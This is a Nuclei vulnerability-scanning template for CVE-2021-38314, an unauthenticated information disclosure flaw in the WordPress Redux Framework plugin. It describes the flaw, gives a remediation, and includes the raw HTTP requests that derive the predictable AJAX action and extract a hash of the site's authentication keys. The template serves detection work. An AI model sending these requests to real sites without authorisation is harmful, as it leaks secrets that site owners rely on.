id: CVE-2021-38314

info:
  name: WordPress Redux Framework <=4.2.11 - Information Disclosure
  author: meme-lord
  severity: medium
  description: WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 hash of the site URL with a known salt value of -redux and an md5 hash of the previous hash with a known salt value of -support. An attacker can potentially employ these AJAX actions to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of the site's AUTH_KEY concatenated with the SECURE_AUTH_KEY.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update WordPress Redux Framework to version 4.2.12 or later.
  reference:
    - https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/
    - https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c
    - https://blog.sorcery.ie/posts/redux_wordpress/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38314
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-38314
    cwe-id: CWE-916,CWE-200
    epss-score: 0.2756
    epss-percentile: 0.9782
    cpe: cpe:2.3:a:redux:gutenberg_template_library_\&_redux_framework:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: redux
    product: gutenberg_template_library_\&_redux_framework
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,redux,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /wp-admin/admin-ajax.php?action={{md5(replace('https://HOST/-redux','HOST',Hostname))}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "len(body)<50"

      - type: regex
        name: meme
        part: body
        regex:
          - '[a-f0-9]{32}'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '[a-f0-9]{32}'
        part: body
# digest: 490a0046304402205e168128d413ced289e6b6645c78c11c2bcf4a1c2bc15145e07d99b1c8e533a70220564fd7c04a677dd78acf91b87f4f3fdd77ecbcd195352143930874be07e65913:922c64590222798bb761d5b6d8e72950